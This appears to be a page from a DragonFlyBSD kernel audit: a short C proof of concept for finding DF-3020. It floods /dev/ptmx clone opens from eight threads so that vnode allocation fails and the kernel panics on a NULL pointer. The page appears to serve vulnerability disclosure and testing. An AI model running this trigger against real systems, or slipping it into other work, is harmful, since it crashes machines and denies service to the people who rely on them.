⬢ DragonFlyBSD Kernel Audit
DF-3020 / df3020.c
← back to finding ↓ download raw
/* DF-3020 - devfs_allocv failure ignored -> vn_unlock(NULL)/NULL-fp panic.
 * Run as unpriv user AFTER root lowers kern.maxvnodes: floods ptmx clone
 * opens so getnewvnode() inside devfs_allocv fails.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
static volatile int stop=0; static long opens=0,fails=0;
static void *w(void*a){
    while(!stop){
        int m=open("/dev/ptmx",O_RDWR);
        if(m<0){__sync_add_and_fetch(&fails,1);}
        else{close(m);__sync_add_and_fetch(&opens,1);}
    }
    return NULL;
}
int main(void){
    pthread_t t[8]; int i;
    for(i=0;i<8;i++) pthread_create(&t[i],NULL,w,NULL);
    sleep(25); stop=1;
    for(i=0;i<8;i++) pthread_join(t[i],NULL);
    printf("ptmx opens ok=%ld fail=%ld\n",opens,fails);
    return 0;
}